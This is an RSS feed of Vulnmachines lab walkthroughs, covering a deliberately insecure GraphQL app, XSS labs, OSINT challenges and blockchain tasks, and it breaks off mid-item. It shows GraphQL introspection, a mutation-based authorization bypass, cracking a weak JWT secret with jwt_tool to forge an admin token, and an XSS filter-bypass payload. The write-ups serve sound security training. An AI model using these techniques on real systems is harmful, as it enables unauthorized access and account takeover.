<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vulnmachines on Medium]]></title>
        <description><![CDATA[Stories by Vulnmachines on Medium]]></description>
        <link>https://medium.com/@vulnmachines?source=rss-27484d4597ee------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*ZZ8clyHFd107H2nc</url>
            <title>Stories by Vulnmachines on Medium</title>
            <link>https://medium.com/@vulnmachines?source=rss-27484d4597ee------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 00:15:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vulnmachines/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[GraphQL Confession Vulnmachines Walkthrough]]></title>
            <link>https://medium.com/@vulnmachines/graphql-confession-vulnmachines-walkthrough-6037f72e22bb?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/6037f72e22bb</guid>
            <category><![CDATA[learning-to-code]]></category>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[vulnmachines-walkthrough]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Wed, 16 Aug 2023 12:17:50 GMT</pubDate>
            <atom:updated>2023-08-16T12:17:50.894Z</atom:updated>
            <content:encoded><![CDATA[<p>“GraphQL Confession” is a playful and intentionally insecure web app built with a GraphQL API, humorously showcasing naive security practices. Users can confess candidly, knowing their secrets are hilariously “really safe” in this faux-confession platform. However, only skillful GraphQL hackers can see through the deceptions.</p><p>The vulnerable GraphQL application conceals six flags, each unfurling as a skilled GraphQL hacker adeptly identifies and exploits its security vulnerabilities. Through meticulous exploration and exploitation, these skilled individuals can unveil the hidden flags and demonstrate their prowess in the art of securing GraphQL applications.</p><p>Step 1: Log in to <a href="https://www.vulnmachines.com/">Vulnmachines</a></p><p>Step 2: Navigate to “Challenges — Web Hacking — Intermediate Labs — GraphQL Confession”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tCsil7eTq76fhfJS" /><figcaption>GraphQL</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fXO9unRfrwbgokQO" /></figure><p>Intercepting the request will show that the application uses <em>GraphQL API</em> in the backend.</p><p><strong>Challenge 1: Discover the hidden private query in the GraphQL confession app to access sensitive information and find the flag.</strong></p><p><strong>Introspection Query: </strong>The application has introspection enabled</p><pre>{&quot;query&quot;: &quot;\r\n    query IntrospectionQuery {\r\n      __schema {\r\n        \r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          \r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      \r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n      \r\n      \r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  &quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*0a2bhq0vbfcRwBlnXYAtbA.png" /><figcaption>Introspection query</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*REDoa2-qL9W7WnTP" /><figcaption>GraphQL Introspection attack</figcaption></figure><p>Visualizing the Introspection query response<strong> </strong><a href="https://graphql-kit.com/graphql-voyager/"><strong>graphql-voyager</strong></a> is used to visualize the Introspection query response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1lE-9gm7Brs7TFNQ" /><figcaption>GraphQL Voyager</figcaption></figure><p>Copy the Introspection query response and paste it to a file to load it in InQL or Postman according to your choice.</p><p>We will be using the postman here. Click Import and upload the introspection query response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/0*6Z-m5gO2STxwhrjv" /><figcaption>Postman</figcaption></figure><p>Alternatively, InQ can be used to import the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8VAq3VDKay3NAeiC" /></figure><p><strong><em>Personal</em></strong> query looks interesting, let’s check what’s in it.</p><pre>query personal {<br>    personal<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dUi0s3QFifSu9fIR" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LKxFzmRqPJVgCUQi" /></figure><p><em>Flag: vnm{introspection_rules}</em></p><p><strong>Challenge 2: The beauty of the confession app is not knowing the confessor. Can you hack and uncover the one who confessed: ‘Hack the planet’?</strong></p><p><em>Submit the flag vnm{username}</em></p><p>Step 1: Add a confession saying <em>“Please share the flag”</em></p><p>Log in to the application using the username and password disclosed (challenge 1) to sensitive query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*_GZUPT2H7ERcmrPi" /><figcaption>Challenge 2</figcaption></figure><p>The login generates an access token which is a JWT. Confesses query has a field called <strong>‘author’</strong>, username.</p><pre>query {<br>          confesses(token: &quot;JWT Token&quot;) {<br>            id<br>            content<br>            isApproved<br>            author {<br>              id<br>              username<br>            }<br>          }<br>        }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D5_deySXh2tpZ1lE" /></figure><p><em>Flag: vnm{cris}</em></p><p><strong>Challenge 3: Can you hack through the supposed ‘author-only’ barricade and delete the confession ‘Hack the planet’?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/0*oInh1dmRFAnxyjCx" /><figcaption>Challenge 3</figcaption></figure><p><em>The Delete button seems to be not working, check if there is any mutation for this action.</em></p><pre>mutation {<br> deleteConfession(confessionId:2, token:&quot;code*&quot;) {<br>  message<br>  success<br> }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*62M4ebjfwGGS_NTc" /></figure><p><em>Flag: vnm{authorization_bypass_to_delete}</em></p><p><strong>Challenge 4: Can you earn the flag by cleverly confessing, ‘Please share the flag,’ and getting it approved by the admin?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/0*5uTb2K64s7jxcdlj" /></figure><p><em>This needs to be approved by the admin. It can be seen that there is a mutation for approving the query, let’s try.</em></p><pre>mutation {<br> approveConfession(confessionId:4, token:&quot;code*&quot;) {<br>  message<br>  confession {<br>   content<br>  }<br> }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Lqr6Xtye8Gl7smn1" /></figure><p>Looks like only admin users can approve the flag, lets forge the admin token.</p><p>JWT uses a weak key which can be found using <a href="https://github.com/ticarpi/jwt_tool">jwt_tool</a> wordlist: <a href="https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list">jwt.secrets.list</a></p><p><em>python3 jwt_tool.py JWT_Token -C -d jwt.secrets.list</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/0*p3MMBbUT6pfRbSbE" /></figure><p>[+] CORRECT key found:</p><p><em>asdv234234^&amp;%&amp;^%&amp;^hjsdfb2%%%</em></p><p>Create an <strong>admin</strong> token using the key found. We can use <a href="https://jwt.io/">jwt.io</a> for creating new tokens.</p><p><em>Set the username to admin and isAdmin to true.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bNdb_x-wZvgzV9Lr" /></figure><p>Check if you can use the new token to approve the confession.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jqCm0MjyVLMljKgz" /></figure><p><em>Flag: vnm{you_got_the_flag}</em></p><p><strong>Challenge 5: Harness the power of the forged admin’s token to explore the realm of confessions. With admin privileges, uncover the secrets hidden in other confessions. The flag awaits your astute exploration!</strong></p><p><em>Let’s use the new admin token with the confesses query.</em></p><pre><br>        query {<br>          confesses(token: &quot;Admin-JWT&quot;) {<br>            id<br>            content<br>            isApproved<br>            author {<br>              id<br>              username<br>            }<br>          }<br>        }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q5hig3rMsayxbREM" /></figure><p><em>Flag: vnm{congrts_you_hacked_admin}</em></p><p><strong>Challenge 6: Can you uncover the admin user’s password?</strong></p><p><em>Submit the flag vnm{password}</em></p><pre>  query {<br>          confesses(token: &quot;Admin-JWT&quot;) {<br>            id<br>            content<br>            isApproved<br>            author {<br>              id<br>              username<br>            }<br>          }<br>        }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EHZL3St8H0HH706U" /></figure><p><em>Flag: vnm{admin_password1337}</em></p><p>Admin panel accessed using the leaked creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/0*zENvMgNBFS1KoMSc" /></figure><p><strong><em>Note: You can reset the confession using the admin token if you find your flag has been deleted by someone.</em></strong></p><pre>mutation {<br> resetConfessions(token:&quot;Admin JWT&quot;) {<br>  message<br>  success<br> }<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6037f72e22bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross Site Scripting write-up vulnmachines]]></title>
            <link>https://medium.com/@vulnmachines/cross-site-scripting-write-up-vulnmachines-65cf16856cbe?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/65cf16856cbe</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[vulnmachines-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Fri, 14 Apr 2023 12:26:47 GMT</pubDate>
            <atom:updated>2023-04-14T12:26:47.030Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>What is Cross-Site Scripting?</strong></p><p>Cross-Site scripting is also known as XSS. It is a type of attack where an attacker injects malicious code/script in an application. XSS attacks take place when a malicious actor sends malicious code, typically in the form of a browser side script, to a separate end user using an online application. These attacks can be successfully conducted everywhere a web application incorporates user input without verifying or encoding it into the output it produces.</p><p><strong>Question:</strong></p><p>Solve these XSS Labs for learning and understanding different types of XSS.</p><p><strong>Solution:</strong></p><p><strong>Step 1:</strong> Visit vulnmachines.com</p><p><strong>Step 2:</strong> Go to Mission -&gt; Game -&gt; Mission. Select ‘Cross Site scripting’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LEQOo1ZWANeMhe-o" /></figure><p><strong>Step 3: </strong>Click on Lab Access.</p><p><strong>Step 4: </strong>You will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/">http://hackme1.vulnmachines.com/xss/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lcFfZwuJVY6Ed5ct" /></figure><p><strong>Step 5: </strong>Click on XSS Lab 1, You will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-01.php">http://hackme1.vulnmachines.com/xss/Lab-01.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zhkzyOmMCMfVHeZ4" /></figure><p><strong>Step 6: </strong>Click on XSS Lab 2, you will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-02.php">http://hackme1.vulnmachines.com/xss/Lab-02.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/0*LLrTbh9ZmhupzhvA" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JmeqlWr_H8ZhXKKD" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cskORIhk72-dE1ob" /></figure><p><strong>Step 7: </strong>Click on XSS Lab 3, you will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-03.php">http://hackme1.vulnmachines.com/xss/Lab-03.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*7-vCLzQZVaBqkU9T" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4DYK2xq7tDTsEWNb" /></figure><p><strong>Step 8: </strong>Click on XSS Lab 4, You will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-04.php">http://hackme1.vulnmachines.com/xss/Lab-04.php</a></p><p><strong>Vulnerable Parameter</strong>: Your name</p><p><strong>Payload</strong>: &lt;h1&gt;Vulnmachines&lt;/h1&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/0*BwDDwL8INYv_r0kE" /></figure><p><strong>Step 9: </strong>Click on XSS Lab 5, You will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-05.php">http://hackme1.vulnmachines.com/xss/Lab-05.php</a></p><p><strong>Vulnerable Parameter</strong>: status=</p><p><strong>Payload</strong>: &lt;script&gt;vulnmachines&lt;/script&gt; convert into base64. You will get the result PHNjcmlwdD52dWxubWFjaGluZXM8L3NjcmlwdD4=.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5WMsbneQO69ZL6Pw" /></figure><p><strong>Step 10: </strong>Click on XSS Lab 6, You will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-06.php">http://hackme1.vulnmachines.com/xss/Lab-06.php</a></p><p><strong>Vulnerable Parameter</strong>: status=</p><p><strong>Payload</strong>: &lt;h1&gt;Vulnmachines&lt;/h1&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SnImGwEzuzwfNccu" /></figure><p><strong>Step 11: </strong>Click on XSS Lab 7, You will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-07.php">http://hackme1.vulnmachines.com/xss/Lab-07.php</a></p><p><strong>Challenge</strong>: Script will not help you.</p><p><strong>Vulnerable Parameter</strong>: status=</p><p><strong>Payload</strong>: &lt;h1&gt;Vulnmachines&lt;/h1&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0Vi_Q8Mo1JOs_Zts" /></figure><p><strong>Step 12: </strong>Click on XSS Lab 8 and Lab 9, You will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-08.php">http://hackme1.vulnmachines.com/xss/Lab-08.php</a></p><p><strong>Challenge</strong>: We remove script, img, alert and prompt.</p><p><strong>Vulnerable Parameter</strong>: status=</p><p><strong>Payload</strong>: &lt;h1&gt;Vulnmachines&lt;/h1&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WweojLJnK0iOpnlG" /></figure><p><strong>Step 13: </strong>Click on XSS Lab 10, You will be redirected to the below page at <a href="http://hackme1.vulnmachines.com/xss/Lab-10.php">http://hackme1.vulnmachines.com/xss/Lab-10.php</a></p><p><strong>Challenge:</strong> RegEx Filter 2.</p><p><strong>Vulnerable Parameter:</strong> Your name</p><p><strong>Payload:</strong> &lt;img src=”x:gif” onerror=”window[‘al\u0065rt’] (0)”&gt;&lt;/img&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/0*vhqq4uZKJHUYBAOY" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BFhYrd7HscG4SbvX" /></figure><p><strong>Reference:</strong></p><p><a href="https://owasp.org/www-community/attacks/xss/">https://owasp.org/www-community/attacks/xss/</a></p><p><a href="https://www.synopsys.com/glossary/what-is-cross-site-scripting.html">https://www.synopsys.com/glossary/what-is-cross-site-scripting.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65cf16856cbe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINT Challenge 4]]></title>
            <link>https://medium.com/@vulnmachines/osint-challenge-4-3556cd41b148?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/3556cd41b148</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Mon, 03 Apr 2023 11:01:45 GMT</pubDate>
            <atom:updated>2023-04-03T11:01:45.506Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSINT Challenge 4 Vulnmachines walkthrough</h3><p>You found an open hosted service used by the organization, upon further analysis and enumeration you will find some information related to the cloud assets of the organization. Now you need to perform enumeration on the cloud asset of the company.</p><p>Solution</p><p><strong>Step 1: </strong>Login to <a href="https://vulnmachines.com/">Vulnmachines</a>.</p><p><strong>Step 2: </strong>Navigate to “Challenges &gt;&gt; OSINT Labs &gt;&gt; Open Vessel”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6RrWR1lfioEAs8Wt2nCX9w.png" /><figcaption>Vulnmachines.com</figcaption></figure><p><strong>Step 3: </strong>In the open Jenkins instance, we will enumerate the prod maven project’s console output and will find the s3 bucket name in the field of s3 profile:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ua5mce3q1sluFWE8j-Rdw.png" /></figure><p><strong>Step 4:</strong> Further we will discover that bucket is publicly readable, and we can now copy the file using AWS CLI and read the flag from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zgSaC6hPZUjtoEblJc8F7w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3556cd41b148" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINT challenge 3 Vulnmachines walkthrough]]></title>
            <link>https://medium.com/@vulnmachines/osint-challenge-3-vulnmachines-walkthrough-df2f3ded2567?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/df2f3ded2567</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Mon, 03 Apr 2023 09:56:59 GMT</pubDate>
            <atom:updated>2023-04-03T09:56:59.088Z</atom:updated>
            <content:encoded><![CDATA[<p>Great you have gathered all the information from the external assets, analyse the information gathered from the source code management platform. You will find a hosted service for the organization and perform further enumeration on that service.</p><p>Solution:</p><p><strong>Step 1: </strong>Login to <a href="https://vulnmachines.com/">Vulnmachines</a>.</p><p><strong>Step 2: </strong>Navigate to “Challenges &gt;&gt; OSINT Labs &gt;&gt; Finding Secrets”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3rEWepqs0FF0f3OqmMZgw.png" /><figcaption>Vulnmachines.com</figcaption></figure><p><strong>Step 3: </strong>From the comments found on the GIST File we can build the possible URLs:</p><p><em>osintorg-emilyosintorg-prod.osintorg.xyz<br>osintorg-alexosintorg-prod.osintorg.xyz</em></p><p>Finally, we will find the right URL and will discover that Jenkins is found open and by performing more enumeration on the open instance of Jenkins we will find the 3rd FLAG of the OSINT challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wE-_pEmgkIBAC_K_ibbYFQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df2f3ded2567" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINT Challenge 2 Vulnmachines walkthrough]]></title>
            <link>https://medium.com/@vulnmachines/osint-challenge-2-vulnmachines-walkthrough-f6ebe4f80b16?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6ebe4f80b16</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[vulnmachines-walkthrough]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Thu, 23 Mar 2023 10:31:57 GMT</pubDate>
            <atom:updated>2023-03-23T10:31:57.839Z</atom:updated>
            <content:encoded><![CDATA[<p>From the previous challenge you have basic information about the organization and its employee and already know that company has started their development journey, you can perform passive enumeration on the identified source code management platform used by the organization.</p><p><strong>Step 1: </strong>Login to <a href="https://vulnmachines.com/">Vulnmachines</a>.</p><p><strong>Step 2: </strong>Navigate to “Challenges &gt;&gt; OSINT Labs &gt;&gt; Enumerating External Assets”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zkKF0oqJS8Y3fwHqrTS6lQ.png" /><figcaption>Vulnmachines.com</figcaption></figure><p><strong>Step 3: </strong>We will perform information gathering on various source code management platforms like GitHub, GitLab and will find the organization repo for <a href="https://github.com/orgs/osintorg/dashboard">osintorg</a>. Then, we will find the people associated with the organization account and from one of the employee’s (emilyosintorg) gist file we will be able to gather information related to the Jenkins Instance and will also find the 2nd flag of the OSINT challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F5X2I9XIU1HMYhFN4_SQDQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6ebe4f80b16" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINT Challenge 1 Vulnmachines walkthrough]]></title>
            <link>https://medium.com/@vulnmachines/osint-challenge-1-b220ff66705?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/b220ff66705</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnmachines-walkthrough]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Thu, 23 Mar 2023 09:27:49 GMT</pubDate>
            <atom:updated>2023-03-23T09:28:30.893Z</atom:updated>
            <content:encoded><![CDATA[<p>In this first challenge of the OSINT challenge series, you need to perform OSINT (opensource-intelligence) assessment on the external assets of the target organization (<strong>OSINTOrg</strong>). You will be performing organization profiling on the social media accounts of organization and employees.</p><p>Solution:</p><p><strong>Step 1: </strong>Login to <a href="https://vulnmachines.com/">Vulnmachines</a>.</p><p><strong>Step 2: </strong>Navigate to “Challenges &gt;&gt; OSINT Labs &gt;&gt; Organization Profiling”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*52baFcC4wMGEHp3ICdtYMQ.png" /><figcaption>Vulnmachines.com</figcaption></figure><p><strong>Step 3: </strong>Read the Preface of the lab and get started.</p><blockquote>First challenge of the OSINT series is that you need to perform an open-source intelligence assessment on the external assets of the target organization, OSINTOrg. Find out the organization’s profiles on social media accounts and their employees.</blockquote><p><strong>Step 4: </strong>We will initiate the process of OSINT by gathering information about the organization and its employees from the social media profile. From one of the employee’s social media profiles, we can find the flag and a hint related to our second challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*zCa_63j7N-OjokkTW21G4w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b220ff66705" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hard Task 5 Blockchain vulnmachines walkthrough]]></title>
            <link>https://medium.com/@vulnmachines/hard-task-5-blockchain-vulnmachines-walkthrough-c174f657f876?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/c174f657f876</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Tue, 07 Feb 2023 10:22:28 GMT</pubDate>
            <atom:updated>2023-02-07T10:22:28.885Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Question: </strong>Deploy new smart contract v2 with +25 value prior to the value of v1.</p><p><strong>Challenge Name</strong>: Mutability.</p><p><strong>Hint</strong>: Analyse the source code, modify the code, and test accordingly.</p><p><strong>Observation:</strong> While observing the code it looks like there is a contract named ‘Vulnmachine’ that has some value initialized at 0xA78f94eAD1847B208D62D6a6669a65e99111886C address. In order to complete the task, candidates need to fetch the initialized value and update +25 to that value.</p><p><strong>Solution</strong>:</p><p><strong>Step 1:</strong> Go to <a href="https://www.vulnmachines.com/">vulnmachines</a></p><p><strong>Step 2:</strong> Navigate to Challenges &gt;&gt; Blockchain labs &gt;&gt; Hard Task 5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0te2DTa4KEMHqV_J" /></figure><p><strong>Step 3: </strong>Click on “Lab Access”. You will be redirected to the page below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*84MjWoYjiqJoBStV" /></figure><p><strong>Step 4</strong>: Check the pragma version of Solidity Code and select the proper compiler for specific code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fctWu9mQwCSDldKY" /></figure><p><strong>Step 5</strong>: If the code is bug-free, there will be a green tick mark over the left-hand side and you are ready to deploy the contract, the warning can be neglected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cp5V3Y8e2H2U64_Z" /></figure><p><strong>Step 6</strong>: There are various test networks for the deployment of code, as our contract is deployed on ‘Goerli’ testnet network, we will select an inject provider and, in that select ‘Goerli’ testnet and load the contract at the address given in the information. From the information, we can see the value is 10 by calling the ‘val’ function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I6DPdbFYhs5nAZ73" /></figure><p><strong>Step 7</strong>: Now give an input parameter 10 in the v2 contract, after that calling ‘increase’ function will give a result 35.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OoN5EKBn-fgcP2zA" /></figure><p><strong>Step 8</strong>: Now enter the flag value as shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eC6q5AKuymY5Y0DV" /></figure><p><strong>Step 9</strong>: By clicking on submit button you will get a success message as shown in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*apZo5OWQtkFOpcng" /></figure><p><strong>Conclusion:</strong> After completing this challenge candidates will understand how to work with upgradable smart contracts in Solidity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c174f657f876" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hard Task 4 Blockchain vulnmachines walkthrough]]></title>
            <link>https://medium.com/@vulnmachines/hard-task-4-blockchain-vulnmachines-walkthrough-855f12297ed?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/855f12297ed</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[blockchain-technology]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Tue, 07 Feb 2023 09:56:50 GMT</pubDate>
            <atom:updated>2023-02-07T09:56:50.613Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Question: </strong>Candidate needs to stake 9887 tokens from a pool of 100 Million tokens available at 0x2a18db9b194f9edcbcb3a694f8cfaab353554f03 address.</p><p><strong>Challenge Name</strong>: Reward.</p><p><strong>Hint</strong>: Analyse the source code, modify the code, and test accordingly.</p><p><strong>Observation:</strong> While observing the code, a contract named ‘Token’ can be seen which has 100 Million tokens and another is staking contract. It has a claim reward function which will allow stake of 9887 tokens. Calculate the reward and submit the flag.</p><p><strong>Solution</strong>:</p><p><strong>Step 1:</strong> Go to <a href="https://www.vulnmachines.com/">vulnmachines</a></p><p><strong>Step 2:</strong> Navigate to Challenges &gt;&gt; Blockchain labs &gt;&gt; Hard 4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kRtpyTGWYHlG-OqX" /></figure><p><strong>Step 3: </strong>Click on “Lab Access”. You will be redirected to the page below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TOboOMti_noVQahc" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VmZj9tD0toTR9W4V" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qo98WmsLxnSaJJEo" /></figure><figure><img 